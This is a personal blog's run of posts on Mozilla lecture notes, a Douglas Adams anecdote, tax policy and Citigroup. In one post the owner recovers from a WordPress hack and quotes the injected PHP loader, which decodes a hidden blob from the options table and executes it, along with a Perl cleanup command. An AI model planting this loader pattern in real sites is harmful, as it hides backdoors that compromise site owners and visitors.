-
Test blog post
Testing content
-
Reminder: Pay ghostwriters better
-
Welcome to my Nation
Hey everyone, this is just a test blog post on NationBuilder. More information after the flip, dude.
-
MoJo week 2: Adoption
In this week's MoJo lectures, we listened to Mark Surman and Chris Heilmann of Mozilla talk about the new HTML5 standards and capabilities in the Firefox browser, and from John Resig on how to build and maintain an open source product.The bridging concept between these two lectures is adoption. It is the path from development to impact; the piece of the puzzle that enables a new tool or idea to enrich the lives of as many people as possible.
The success of JQuery, in the face of stiff competition from many other high-quality libraries like MooTools, Prototype and others, boils down to a few guiding principles (hint: they're mostly non-technical):
In Chris' whirlwind (and hilarious) tour of the new HTML5 universe, he described what motivated him to embrace web standards in the first place. Standards can be seen as a constraint on innovation, but in Chris' world they enable innovation, particularly at the client. Thanks to libraries like Modernizr, the semantic richness of HTML5 and the ever-expanding breadth of clients, we are now able to deliver pages that look and behave differently in each client. Not in ways that break standards, but in ways that leverage them. For example, using phone keypads for numeric form inputs, or the address book for email inputs.
Chris practices what he preaches. His easier YouTube interface for the learning disabled shows how web standards and API's allow us to remix information and expand the audience for a piece of content. And, ultimately, expanding the audience for useful information seems to be Chris Heilmann's core motivation, from his early days in radio to his current role as Developer Evangelist for Mozilla. Making things open and standards-based enables all of us to learn, and build on, how the web works.
John Resig is no stranger to how the web works. As the creator of JQuery and lead Javascript developer for online education pioneers Khan Academy, Resig knows how to build a community of support, whether for a software library or an actual library.
For the uninitiated, JQuery is the web's most popular Javascript library - and not by chance. Resig spent years of his spare time enhancing JQuery and helping customers make the most of it, mostly by himself.- Great API design and code quality
- Extremely high quality documentation, FAQ, web site, tutorials
- Be responsive to requests from community members in email, IRC, newsgroups, message boards, ticketing systems, and anywhere else that conversations about your product occur
- Get the licensing right
- Treat every user as a potential future contributor
The last part is key (which is why I've bolded it). Great open source projects live or die on the number of contributors working on the code - and nobody becomes a contributor to your project without first being a user. They will never make that leap without the knowledge that the leader of that project cares for them, so do everything you can to help people. You never know which ones will lead your project to widespread adoption. -
The Power of Prototyping
This is the first in what will be a series of blog posts for the Mozilla-Knight Journalism Challenge. This week we heard from Aza Raskin, former creative lead for Firefox and head of user experience for Mozilla, talking about the power of prototyping for understanding problems and building momentum behind your solution.
1. Developing a better understanding of the problem
As a programmer I often build throw-away apps in my spare time just to see how something works, explore a new API, or to discover new ways of solving old problems. However, in my professional life as a web developer, it's easy to see building prototypes as a luxury. I've often had to fight for a budget that allows for scoping and prototyping, and even more often had to go without.
Raskin's presentation, "How to Prototype and Influence People", explores the advantages of prototyping in ways that I hadn't previously recognised. These insights can be grouped into two main areas:
Trying several ways to solve a problem leads to a better solution, but can also lead to the recognition of a deeper problem on which the solution is dependent. Raskin used the tale of Paul MacReady's winning of the Kremer Prize for long-distance human-powered flight as an example of this; MacReady's key insight was that by dramatically reducing the time to repair and modify his aircraft, he could arrive at a winning design in a matter of months instead of decades. He was right. Failing fast through prototyping led to rapid learning, which led to rapid improvement.
2. Building support for your idea or product
Many entrepreneurs toil for years on products that are technically interesting without ever testing the interface on a live end-user. To an end-user a product is not an idea, nor a technology. To your customers, the product is the interface.By encouraging end-users to experience some aspect of a product's interface you can observe their reaction to it and learn how to communicate the benefits more effectively. Putting the prototype in the hands of end-users keeps you focused on solving real-world problems.
As Aza put it: The value of an idea is zero unless it can be communicated.
Aza's approach to prototyping is fast and pragmatic. He encourages creating the first prototype in a day. You're should be creating a "visual sketch", a space people can move through with their ideas. This allows them to see the solution for themselves, which is always more convincing than being told how great an idea is, or being dictated to by an over-wrought solution. Palm's Jeff Hawkins first prototyped their hand-held devices using blocks of wood - as lo-fi as it gets.Aza began and ended the presentation with a quote from Margaret Mead:Never doubt that a small group of committed people can change the world. Indeed, it's the only thing that ever has.
If you're a small team looking to change the world, then recognising the power of rapid prototyping could give your idea a big boost. -
We're back
So I totally got hacked. Reminder: be vigilant about upgrading wordpress and its plugins, or bad things happen.
The hack looks like this, and appears all over the place, at the top of some files and the bottom of others. It decodes a huge blob of encoded text that was stuffed into one of the wp-options values.get_option(\"_transient_feed_98e8dbd04edf43b096e815a29343b006\"); $z=base64_decode(str_rot13($z)); if(strpos($z,\"0FE00707\")!==false){ $_z=create_function(\"\",$z); @$_z(); }
My first thought: "Oh crap, removing that text from hundreds of files? No thanks.". Command line to the rescue! Thanks to Perl for still being awesome after all these years.find . -name "*.php" -exec perl -e 's/^.*_transient_feed_98e8dbd04edf43b096e815a29343b006.*$//g' -p -i {} \;
If you've been struck by the same thing, just replace the _transient_feed with your own (the numbers probably change). These script-kiddy hackers are a perpetual annoyance. Hey kids - go build something awesome and useful instead of messing our web sites. -
One of my favourite stories ever
As told by Douglas Adams a few years ago. I laugh every time I read this, and today I shared it with my wife for the first time and so felt compelled to share it with you, too.
This actually did happen to a real person, and the real person is me. I had gone to catch a train. This was April 1976, in Cambridge, U.K. I was a bit early for the train. I’d gotten the time of the train wrong. I went to get myself a newspaper to do the crossword, and a cup of coffee and a packet of cookies. I went and sat at a table. I want you to picture the scene. It’s very important that you get this very clear in your mind. Here’s the table, newspaper, cup of coffee, packet of cookies. There’s a guy sitting opposite me, perfectly ordinary-looking guy wearing a business suit, carrying a briefcase. It didn’t look like he was going to do anything weird. What he did was this: he suddenly leaned across, picked up the packet of cookies, tore it open, took one out, and ate it.
Now this, I have to say, is the sort of thing the British are very bad at dealing with. There’s nothing in our background, upbringing, or education that teaches you how to deal with someone who in broad daylight has just stolen your cookies. You know what would happen if this had been South Central Los Angeles. There would have very quickly been gunfire, helicopters coming in, CNN, you know… But in the end, I did what any red-blooded Englishman would do: I ignored it. And I stared at the newspaper, took a sip of coffee, tried to do aclue in the newspaper, couldn’t do anything, and thought, What am I going to do?
In the end I thought Nothing for it, Iâll just have to go for it, and I tried very hard not to notice the fact that the packet was already mysteriously opened. I took out a cookie for myself. I thought, That settled him. But it hadn’t because a moment or two later he did it again. He took another cookie. Having not mentioned it the first time, it was somehow even harder to raise the subject the second time around. “Excuse me, I couldn’t help but notice…” I mean, it doesn’t really work.
We went through the whole packet like this. When I say the whole packet, I mean there were only about eight cookies, but it felt like a lifetime. He took one, I took one, he took one, I took one. Finally, when we got to the end, he stood up and walked away. Well, we exchanged meaningful looks, then he walked away, and I breathed a sigh of relief and sat back.
A moment or two later the train was coming in, so I tossed back the rest of my coffee, stood up, picked up the newspaper, and underneath the newspaper were my cookies. The thing I like particularly about this story is the sensation that somewhere in England there has been wandering around for the last quarter-century a perfectly ordinary guy who’s had the same exact story, only he doesn’t have the punch line.-Douglas Adams, The Salmon of Doubt
“Cookies” -
Why low taxes "benefit" the rich
Living in the US I hear a lot of heated rhetoric about taxes. While I'm not an economist, I do want to weigh in on what I see as a glaring logical flaw in how low taxes are supposed to benefit the little guy.Taxes paid to the government largely go to "safety net" services like pensions, unemployment benefits, basic health care, food stamps and so on. Such services, in sufficient quantity and quality, enable unemployed or disabled people to retain their dignity and health while they get back on their feet and back to work. (source:Â See pie chart here).
Very rich people are much less likely to need such services, and so for them paying taxes goes straight to something they don't use and therefore don't benefit from.
Do tax cuts really benefit the rich?- Huge leaps in inequality coinciding with tax cuts by Reagan and Bush Jr (note: Reagan also raised taxes, but in 1986 cut them)
- Most of the benefits of economic growth going to the rich during the 90's "boom"
But the rich in America, and in particular the super-rich, are a dwindling minority (while their total wealth balloons) (source: 15 charts about wealth and poverty at Business Insider). Therefore in order to keep the system tilted in their favour they must convince a majority of voters to act in the interest of the wealthy elite, often against the poor's own self-interest. They enact such influence on both Democrats and Republicans, but I can definitely detect a preference for Republicans, for whatever reason.
This is why we are seeing this daft resurgence of "small government" and "Reaganomics" mantras from the Tea Party, when a more relevant question would be "what is the right size for the government to meet our needs, and what mix of services would it provide?".
This would be completely comprehensible (yet still not excusable), except that there's a flaw the internal logic of these massive vested interests. As this siphoning of money and consolidation of power continues, the number of people who can afford to be at the top goes down. The social services that make life so easy for the rich crumble. You end up, in extreme cases, with scenes such as those scene across Africa and the Middle East this week (not that I'm suggesting the US is even close to that, but it's an educational example nonetheless).
So how can the US-based super-rich act in their own self-interest without screwing over everyone else and, eventually, even themselves?
This brings me to a phenomenon I am going to call the "plumbing principle" (after actual plumbing, not Joe the Plumber). Basically the story goes like this: a version of the modern toilet was invented in England in the early 19th century because the aristocracy were so convinced that they were a fundamentally different breed of person from the lower classes that they started to pretend they didn't even shit. In order to maintain this facade it was vitally important never to leave a room with a visible turd in it, be it in a pan, on the floor, on the nightstand or in the pocket of a silk smoking jacket.
This led to the popularisation of the ceramic flush toilet amongst the very rich. Hallelujah! A room and device that made your lordship's turd disappear faster than a donut at a me-right-now convention.
But then something amazing happened. Doctors noticed a decrease in all sorts of diseases - naturally, as these people were exposed to far fewer microbes over a much shorter span of time.
In 1848, with the Thames boiling with effluent and full chamber pots causing as many head injuries as cases of Cholera, the British Parliament passed the Public Health Act, mandating a toilet in every home and allocating 5 million pounds (a huge sum at the time) for the construction of underground sewers and treatment plants.
In doing so, typhoid was practically eliminated overnight, and economic growth skyrocketed. The UK had achieved what so many civilisations had not - a functioning, multi-million person metropolis, with all the economic advantages and opportunities that created for both the nation and individuals.Obama talks about the "Sputnik Moment" as the driver of innovation and passion for the current century, but this implies a winner and loser - at least internationally. With the US economy creaking at the seams and the rhetoric from vested interests getting ever more divisive, perhaps it's actually time for a "plumbing moment" - for the super-rich, the government, and concerned citizens to take a step back and think very seriously about how we can reap the rewards of mutual success rather than the winner-takes-all situation we find ourselves in today. -
The New Citigroup
As part of its ongoing PR-ification of the financial crisis, Citigroup has posted the hilariously tautological "A Safer Approach to Risk".Here's a quote from the article:
For our society to function efficiently, capital needs to flow. But the attendant risk must be better managed. That's why we've strengthened our commitment to responsible finance.
And here's another notable quote from recent history:
"as long as the music is playing, youâve got to get up and dance. Weâre still dancing."
-Citi Chief on Buyouts: âWeâre Still Dancingâ, DealBook, July 2007
Exactly how much of that culture has actually changed? You can revamp how you do business, but it's not just Citi that's broken. It's the entire culture and machinery of top-tier capitalism. They may be chagrined, but that is only temporary.
Profit through obfuscation. Profit through leveraging the power that money provides. Profit through PR.
Why not profit through generating value? How about that for a change? Sheesh. I'm sick of financial companies that treat business like a giant card trick.In other words, I remain to be convinced... -
This ride isn't fun any more
From an amazing photo blog I just discovered.

